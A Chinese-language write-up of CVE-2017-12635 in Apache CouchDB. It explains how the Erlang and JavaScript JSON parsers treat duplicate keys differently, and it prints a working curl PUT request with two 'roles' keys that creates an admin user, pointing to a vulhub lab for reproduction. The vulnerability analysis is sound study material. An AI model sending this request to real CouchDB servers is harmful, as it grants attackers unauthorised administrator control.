一、Apache CouchDb
Apache CouchDB 是一个开源的面向文档的 NoSQL 数据库,用 Erlang 实现。CouchDB 使用多种格式和协议来存储、传输和处理其数据。它使用 JSON 存储数据,使用 MapReduce 作为其查询语言的 JavaScript,以及作为 API 的 HTTP。Erlang的JSON解析工具:Jiffy
。
二、漏洞解析
漏洞版本:小于 1.7.0 | 小于 2.1.1
漏洞描述
CouchDB 使用 JSON 来进行数据交换,并将其作为一个 Erlang proplist
。但是这种实现就导致了在 CouchDB 中,当涉及到 JSON 解析时,允许 JSON 文档具有多个同名的键。
proplists 模块
:常用于处理配置文件和函数选项,proplists
对内部数据结构是Key-Value键值对形式,第一个元素做key用来查询和删除,如果一个key有多个值就会使用第一次出现的值,其它被忽略。
而CVE-2017-12635
是由于基于Erlang的JSON 解析器和基于 JavaScript 的 JSON 解析器的差异造成的,所以先了解一下Javascript JSON解析器
和jiffy的解析器
解析规则:
以{"foo":"bar", "foo":"baz"}
为例:
1、Erlang
> jiffy:decode("{\"foo\":\"bar\", \"foo\":\"baz\"}").
{[{<<"foo">>,<<"bar">>},{<<"foo">>,<<"baz">>}]}
2、Javascript
> JSON.parse("{\"foo\":\"bar\", \"foo\": \"baz\"}")
{foo: "baz"}
在 CouchDB 数据库_users
中创建或修改用户时,服务器会使用 Javascript 函数来管理用户的访问控制:
例如,要创建一个用户,将一个文档插入到
_users
数据库,通过执行PUT /_users/org.couchdb.user:set_username
,用户文档必须包含顶级key –roles
,为用户提供额外的权限。"name": "test", "roles": ["_admin"]
–>这个就是为用户test设置admin权限。
在 _users
数据库的情况下,允许攻击者提交带有两个 roles
键的 _users
文档。第一个roles可以设置为任何自分配角色
,因为JavaScript的JSON解析只会看到第二个roles。在后续请求中对用户进行身份验证时,roles是从 Erlang-JSON 表示中读取的,并且在该实现中返回第一个roles,第一个roles可以设置为任何角色
,包括_admin 角色,赋予用户管理员权限。
curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:test'
--data-binary
'{
"type": "user",
"name": "test",
"roles": ["_admin"],
"roles": [],
"password": "password"
}'
并且CouchDB的 getter 函数
只会返回第一个值:
% Within couch_util:get_value
lists:keysearch(Key, 1, List).
因此,我们就可以绕过相关的输入验证创建了一个具有admin权限的用户test。
三、漏洞复现
访问登陆页面,通过执行PUT /_users/org.couchdb.user:set_username
创建两个roles就可以绕过登陆限制创建admin权限用户。
参考链接:
https://vulhub.org/#/environments/couchdb/CVE-2017-12635/